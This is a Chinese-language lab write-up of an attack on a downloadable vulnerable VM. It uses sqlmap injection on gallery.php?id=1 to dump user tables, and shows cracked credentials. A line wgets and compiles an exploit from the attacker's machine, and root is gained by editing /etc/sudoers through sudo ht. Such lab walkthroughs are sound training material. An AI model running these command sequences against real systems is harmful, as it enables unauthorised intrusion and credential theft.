环境
主机 | ip |
---|---|
kaliLinux | 192.168.101.62(桥接) |
靶机-4 | 未知 |
靶机
https://pan.baidu.com/s/1OdlzNEPNMPw0JHDzyyMBEA
提取码:1234
打开靶机
渗透测试
主机探测
netdiscover -i eth1 -r 192.168.101.0/24
可以看到靶机地址为192.168.101.75
收集信息
使用dirb目录爆破
漏洞扫描
nikto -host http://192.168.101.75
访问web界面
这里可以看到phpadmin版本
尝试弱密码登录
尝试发现
admin+空密码登录
‘localhost’@'@” +空密码
判断数据库是否有写权限
show variables like '%secure%';
secure_file_priv #为空没有写入权限
show variables like '%datadir%'; #获取数据库路径
这里用了好几种注入方式,都失败了,这里不再列举。
第二天这里ip发送了一点变化192.168.101.76
查看phpmyadmin日志发现注入点
使用sql注入方式
http://192.168.101.76/gallery/gallery.php?id=1
我们使用sqlmap 查找数据库
sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 --dbs --batch
查看gallery里的表
sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery --tables --batch
查看dev_accounts内字段
sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T dev_accounts --columns --batch
查找字段值
sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T dev_accounts -C username,password --dump --batch
这里sqlmap已经把md5值找到了,如果没有就看下面步骤
vim md5.txt
cat md5.txt
dreg:0d3eccfb887aabd50f243b3f155c0f85
loneferret:5badcaf789d3d1d09794d8f021f40f0e
john --format=raw-MD5 md5.txt也可以直接在网上找
上面查找数据库可以看到还有个users表
查找gallarific_users表字段
sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T gallarific_users --columns --batch
查询字段值 username,password
sqlmap -u http://192.168.101.76/gallery/gallery.php?id=1 -D gallery -T gallarific_users -C username,password --dump --batch
因为nmap探测到22端口ssh是开放的可以直接进行登录
ssh dreg@192.168.101.76
输入密码Mast3r
这里权限不够
提权
下载提权脚本到kali中开启httpd提供下载
wget http://192.168.101.62/5093.c
gcc 5093.c
./a.out
提权失败了
换用户登录继续提权
ssh loneferret@192.168.101.76
starwars
export TERM=xterm-color
sudo ht
按f3输入/etc/sudoers
回车后
修改loneferret 在末尾加上 ,/bin/bash
F10保存
sudo /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)